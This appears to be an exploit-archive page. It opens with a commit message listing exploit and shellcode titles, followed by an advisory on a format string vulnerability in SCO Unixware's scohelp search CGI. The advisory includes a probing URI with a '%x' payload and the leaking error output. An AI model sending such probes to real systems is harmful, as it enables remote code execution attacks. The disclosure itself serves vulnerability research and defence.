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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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1.9 KiB
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48 lines
No EOL
1.9 KiB
Text
source: https://www.securityfocus.com/bid/1717/info
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SCO Unixware 7 default installation includes scohelp, an http server that listens on port 457/tcp and allows access to manual pages and other documentation files. The search CGI script provided for that purpose has a vulnerability that could allow any remote attacker to execute arbitrary code on the vulnerable machine with privileges of user "nobody". This poses a threat that could result in the remote compromise of the vulnerable host and provide a staging point from where an attacker could escalate privileges.
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There is a user supplied format string bug in the vtopic CGI script that could be abused to execute arbitrary code. By sending a request with the following URI:
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http://target:457/search97cgi/vtopic?Action= FilterSearch&filter=&queryText=%25x
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The server will elicit the following response:
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--
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Internal error: STR_sprintf: Invalid format (Error E1-0142 (Query
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Builder): Invalid character '%' (0x25))
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Result
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Search failed: -40
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Result
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Error E1-0142 (Query Builder): Invalid character '
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Result
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Error E1-0130 (Query Builder): Syntax error in query string near
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character 1
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Result
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Error E1-0133 (Query Builder): Error parsing query: 81888e0
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Result
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VdkSearchNew failed, error -40
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Result
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Request failed for REQUEST_METHOD=, QUERY_STRING=
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Component
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Component (vsearch) failed in processing request, -2
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Action
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Action (FilterSearch) failed while processing request in component
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(vsearch), -2
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Service Manager
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Action (FilterSearch) failed in processing request, -2
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S97IS Service manager failed to process request
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--
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Note that the line:
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Error E1-0133 (Query Builder): Error parsing query: 81888e0
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This shows that the server is interpreting the %x argument passed in the URI as the "queryText" value. Supplying a carefully built value for the queryText argument an attacker can change the program flow and execute arbitrary code. |